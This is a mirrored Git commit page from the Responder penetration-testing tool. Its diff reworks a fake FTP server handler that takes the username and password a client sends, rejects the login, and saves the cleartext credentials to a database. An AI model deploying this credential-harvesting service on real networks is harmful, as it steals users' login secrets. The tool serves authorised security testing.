mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-10 15:22:45 -07:00
Further improvement and fixes.
This commit is contained in:
parent
3c00567fa6
commit
bc06818ed1
18 changed files with 416 additions and 142 deletions
|
@ -29,8 +29,6 @@ class FTP(BaseRequestHandler):
|
|||
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].strip()
|
||||
print text("[FTP] Client : %s" % color(self.client_address[0], 3))
|
||||
print text("[FTP] Username : %s" % color(User, 3))
|
||||
|
||||
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
|
||||
self.request.send(str(Packet))
|
||||
|
@ -38,13 +36,24 @@ class FTP(BaseRequestHandler):
|
|||
|
||||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].strip()
|
||||
print text("[FTP] Password : %s" % color(Pass, 3))
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(str(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||
SaveToDb({
|
||||
'module': 'FTP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+':'+Pass
|
||||
})
|
||||
|
||||
#print text("[FTP] Client : %s" % color(self.client_address[0], 3))
|
||||
#print text("[FTP] Username : %s" % color(User, 3))
|
||||
#print text("[FTP] Password : %s" % color(Pass, 3))
|
||||
#WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||
|
||||
else :
|
||||
Packet = FTPPacket(Code="502",Message="Command not implemented.")
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue